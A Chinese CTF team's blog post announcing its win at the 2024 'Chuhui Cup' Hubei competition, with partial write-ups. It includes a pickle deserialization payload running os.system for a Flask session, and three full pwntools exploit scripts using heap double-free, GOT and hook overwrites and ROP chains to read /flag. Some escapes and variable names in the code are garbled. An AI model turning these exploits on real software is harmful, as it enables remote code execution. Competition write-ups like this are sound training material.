本文来自:天权信安网络安全生态圈
作者:天权信安网络安全团队
竞赛组招新:诚邀各路高手加入!
竞赛组诚招逆向工程(RE)、密码学(Crypto)、漏洞挖掘与利用(Pwn)、杂项挑战(Misc)、人工智能安全(AI)、物联网安全(IoT)、渗透测试方向的师傅。长期招募汽车安全(Car)、工业控制系统安全(工控)、无人机安全、样本分析人才及网络安全竞赛、渗透测试讲师库。无论你是经验丰富的专家,还是初露锋芒的新手,只要你对网络安全充满热情,我们都欢迎你的加入!有意者请将简历发送至 [[email protected](带上简历和想加入的小组)]。期待与你共同交流学习!
2024年湖北省网络与数据安全实践能力竞赛荣获
特等奖
天权信安
天权信安在近日参加的第九届“楚慧杯”竞赛(2024 年湖北省网络与数据安全实践能力竞赛)比赛中,凭借其卓越的才能和不懈的努力,荣获该比赛特等奖。这已是本团队连续两年在省赛中连续两年获得冠军。此项成绩充分展示了天权信安在专业技术、协作配合、创新思维等方面的强大实力。
“楚慧杯”,作为国内顶级的网络安全赛事之一,汇聚了来自各地的网络精英。比赛内容涵盖了漏洞挖掘、攻防对抗、信息安全分析等多个领域,竞争异常激烈。在如此激烈的环境下,天权信安凭借扎实的理论基础和丰富的实践经验,以精湛的技术和高超的应变能力,成功脱颖而出,赢得了评委们的一致认可和高度评价。
展望未来,我们将继续以更加饱满的热情和更加专业的精神,推动团队在网络安全领域的不断进步和创新。希望天权信安再接再厉,继续在未来的网络安全赛场上创造佳绩,共同迎接更多的挑战与机遇。
再次祝贺天权信安!让我们一起为未来的更高目标共同努力,携手前行。
比赛部分WP
Misc
Misc1
搜索 200找到长字符串
保存成zip
解压密码
Misc2
cmdscan提示壁纸:
直接下载壁纸得到flag
Web
Web1
任意文件读取读show.php
拿到反序化代码
eval利用passthru绕过,过滤了单引号,用双引号绕过
再利用phar读取即可
Web2
主要就是一个反编译,当时没网, 一直要准备pyc本地反编译都没准备,回旋镖还是来了
反编译完就很简单, 一个绕R指令就可以秒了
用本地弹计算器演示:
from flask import Flask, session
import base64
opcode=b'''(cos
system
S'calc'
o.'''
print(base64.b64encode(opcode))
把结果用 flask-session-cookie-manager 编码一下就行
Web3
这个可以扫到 index.php.bak
源码直接定位:
md5写个脚本跑就行
exp:
利用 create_function 构造
至于FIX有点难评,把洞全修了不过,第二轮少修了几个就过了,就不写fix了,参考意义不
大
Pwn
Pwn1
v>题目是个伪堆题,实际上是在 bss 上进行读写
Free 函数是向上抬,就可以修改 got,所以总体思路就是,通过 free,让 read 能在 got 表上
写,经过调试发现调用 exit 时,rsp 是 info 的地址,所以通过 pop rdi,pop rsp ,ret 就能劫
持程序流程,写入 rop 链子
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def get_addr1():
return u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc=ELF("/root/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
def add(c1,c2,c3):
rl("Your choice is : ")
sl(str(1))
rl("Please enter the ID of the student")
s(c1)
rl("Please enter the name of the student")
s(c2)
rl("Please enter the student's score")
s(c3)
def edit(c1,c2,c3):
rl("Your choice is : ")
sl(str(3))
rl("Please enter the ID of the student")
bug()
s(c1)
rl("Please enter the name of the student")
s(c2)
rl("Please enter the student's score")
s(c3)
def free(i):
rl("Your choice is : ")
sl(str(2))
rl("Which information of student do you want to delete?")
sl(str(i))
def show(i):
rl("Your choice is : ")
sl(str(4))
rl("please input index")
#bug()
sl(str(i))
show(-2)
get_addr()
get_addr()
get_addr()
pie=u64(p.recv(8)[-6:].ljust(8, b'x00'))-0x866
li(hex(pie))
show(-1)
libc_base=get_addr()-libc.sym['_IO_2_1_stdout_']
li(hex(libc_base))
prbp_ret = libc_base+libc.search(asm("pop rbpnret")).__next__()
prdi_ret = libc_base+libc.search(asm("pop rdinret")).__next__()
prsi_ret = libc_base+libc.search(asm("pop rsinret")).__next__()
prdx_ ret = libc_base+libc.search(asm("pop rdxnret")).__next__()
prax_ret = libc_base+libc.search(asm("pop raxnret")).__next__()
free_hook=libc_base+libc.sym['__free_hook']
ret = libc_base+libc.search(asm("ret")).__next__()
open_addr=libc_base+libc.sym['open']
read_addr=libc_base + libc.sym['read']
write_addr=libc_base + libc.sym['write']
syscall=libc_base+libc.search(asm("syscallnret")).__next__()
add(p64(prdi_ret)+p64(0),p64(prsi_ret)+p64(pie+0x2020C0+0x40-16)+p64(prdx_ret)+p64(0x200)
,p64(read_addr))
add(b'a',b'a',b'a')
free(0)
free(0)
free(0)
free(0)
add(p64(0)*2,p64(libc_base+libc.sym['__isoc99_scanf'])+p64(pie+0xf24),b'a')
free(10)
pause()
fake_rsp=pie+0x2020c0+0x200
orw = b'/flagx00x00x00'
orw += p64(prdi_ret) + p64(pie+0x2020C0+0x40-8-8)
orw += p64(prsi_ret) + p64(0)
orw += p64(open_addr)
orw += p64(prdi_ret) + p64(3)
orw += p64(prdx _ret) + p64(0x50)
orw += p64(prsi_ret)+p64(fake_rsp+0x200)
orw += p64(read_addr)
orw += p64(prdi_ret) + p64(1)
orw += p64(prdx _ret) + p64(0x50)
orw += p64(prsi_ret)+p64(fake_rsp+0x200)
orw += p64(write_addr)
s(orw)
inter()
Pwn2
2.23 uaf,没有 edit 可以 double free,a,b,a,然后拿出来 malloc hook 打 onegadget,realloc
调一下栈帧即可
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def get_addr1():
return u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('10.1.107.11', 9999)
elf = ELF('./pwn')
libc=ELF("/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
#libc = ELF('./libc-2.31.so')
def cmd(a):
sla(b'choice >>n',str(a).encode())
def add(idx,size,data=b'x00'):
cmd(1)
sla(b'index>>n',str(idx).encode())
sla(b'size>>n',str(size).encode())
sa(b'please input...n',data)
def free(idx):
cmd(2)
sla(b'index>>n',str(idx).encode())
def show(idx):
cmd(3)
sla(b'index>>n',str(idx).encode())
add(0,0x80)
add(1,0x68)
add(2,0x68)
# add(4,0x68)
# add(5,0x68)
free(0)
show(0)
libc_base = get_addr()-3951480
li(hex(libc_base))
free(1)
free(2)
free(1)
'''
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
malloc_hook = libc_base + libc.sym['__malloc_hook']
ogg = libc_base + 0xf03a4
realloc = libc_base + libc.sym['realloc']+0xc
pl = p64(malloc_hook-0x23)
add(3,0x68,pl)
#bug()
add(4,0x68)
add(5,0x68)
add(6,0x68,b'a'*(0x13-8)+p64(ogg)+p64(realloc))
# print(hex(pop_rdi))
#bug()
rl("choice >>n")
sl(str(1))
rl("index>>n")
sl(str(7))
rl("size>>n")
sl(str(0x20))
#a()
inter()
Pwn3
2.31uaf,开了沙盒,通过 magic gadget,转一下就可以了,正常 orw 去拿 flag,堆块比较小,
没法一下子写完,但是可以分开去写,构造一个 read 链子,然后再去读入 orw 的链子
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
import gmpy2
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def get_addr1():
return u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('', )
elf = ELF('./pwn')
libc=ELF("/root/glibc-all-in-one/libs/2.31-0ubuntu9.14_amd64/libc.so.6")
#libc = ELF('./libc-2.31.so')
def add(i,size,c):
rl("> ")
sl(str(1))
rl("yours Index: ")
sl(str(i))
rl("yours Size: ")
sl(str(size))
rl("yours Content: ")
s(c)
def free(i):
rl("> ")
sl(str(2))
rl("yours Index: ")
sl(str(i))
def show(i):
rl("> ")
sl(str(4))
rl("yours Index: n")
sl(str(i))
def edit(i,c):
rl("> ")
sl(str(3))
rl("yours Index: ")
sl(str(i))
rl("yours Content: ")
s(c)
for i in range(10):
add(i,0x88,b'a')
for i in range(7):
free(i+1)
free(0)
show(0)
libc_base=get_addr()-2018272
li(hex(libc_base))
setcontext=libc_base+libc.sym['setcontext']+61
prbp_ret = libc_base+libc.search(asm("pop rbpnret")).__next__()
prdi_ret = libc_base+libc.search(asm("pop rdinret")).__next__()
prsi_ret = libc_base+libc.search(asm("pop rsinret")).__next__()
prdx_r12_ret = libc_base+libc.search(asm("pop rdxnpop r12nret")).__next__()
prax_ret = libc_base+libc.search(asm("pop raxnret")).__next__()
free_hook=libc_base+libc.sym['__free_hook']
ret = libc_base+libc.search(asm("ret")).__next__()
open_addr=libc_base+libc.sym['open']
read_addr=libc_base + libc.sym['read']
write_addr=libc_base + libc.sym['write']
syscall=libc_base+libc.search(asm("syscallnret")).__next__()
magic=libc_base+0x0000000000151bb0 #mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp],
rax ; call qword ptr [rdx + 0x20]
show(2)
heap_base=u64(p.recv(6).ljust(8,b'x00'))-0x40-0x50
li(hex(heap_base))
edit(7,p64(free_hook))
add(10,0x88,b'a') #10
add(11,0x88,p64(magic)) #11
fake_rsp=heap_base+0x90+0x90
orw = p64(prdi_ret) + p64(0)
orw += p64(prsi_ret) + p64(fake_rsp+0x160-0x120)
orw += p64(prdx_r12_ret) + p64(0x200)*2
orw += p64(read_addr)
edit(0,b'/flagx00x00x00'+p64(heap_base)+p64(0)*2+p64(setcontext))
edit(1,b'x00'*0x10+p64(fake_rsp)+p64(prdi_ret+1))
edit(2,orw)
free(0)
pause()
orw = p64(prdi_ret) + p64(heap_base) #flag 的位置,要改
orw += p64(prsi_ret) + p64(0)
orw += p64(open_addr)
orw += p64(prdi_ret) + p64(3)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(fake_rsp+0x200)
orw += p64(read_addr)
orw += p64(prdi_ret) + p64(1)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(fake_rsp+0x200)
orw += p64(write_addr)
s(orw)
inter()
-- 结束 --
○
以上为本次比赛WP如有问题请留言私信公众号
网络安全赛事举办联系方式
联系人:张先生
VX:Evan-xuanjing
往期回顾
2024年湖北省网络与数据安全实践能力竞赛——天权信安WriteUp
UCTC CTF 2024高校新生网安赛 部分WriteUp
UCTC CTF 2024高校新生网安赛线上赛事圆满落幕
-天权信安网络安全团队-
网络无边 安全有界
2023,携手同行
2024,共克时艰
2025,创新突破
用技术撬动未来,用奋斗描绘成功!
天权信安网络安全团队(简称“天权信安”),成立于2022年,是一支研究红蓝对抗、内网渗透、红队武器库、CTF竞赛及其网安相关活动的安全团队。这里聚集着一群有技术有担当有理想、热爱信安奉献信安的多方面专业人才。天权信安的“天权”来源于北斗七星,又称为文曲星,它代表着天资聪颖,能力超群,也象征着天权信安的高标准、高水平与高质量,体现着我们的宗旨--打造一支作风优良、实力强劲、团结协作的精英团队,用技术与毅力共同守护网络安全。目前成员 40 余人,成员也来自于黄鹤网络安全实验室,队员分布于阿尔托大学(国外)、科大、华科、电子科大、警大、江苏海洋大学、国际关系学院、广大、河北师大、吉林师大、西南石油、安工院、湖工大、华师大、湘大、湖南工程学院等国内各大高校,也分布于绿盟科技、奇安信、长亭科技、安恒信息、联通、移动等国内大厂。为“网络安全爱好者”提供一个更好的学习交流生态圈,天权信安欢迎技术大咖、攻防渗透、CTF选手等资深专业人士前来分享网络安全前沿技术、攻防实战经验、内网渗透、IOT安全、电子取证、CTF、APT、工控安全等技术,通过经验分享,来帮助大家了解最新网络安全动态,提升安全技术水平,拓宽知识领域,致力于打造一个开放共享的网络安全生态圈。
原文始发于微信公众号(赛查查):第九届“楚慧杯”竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论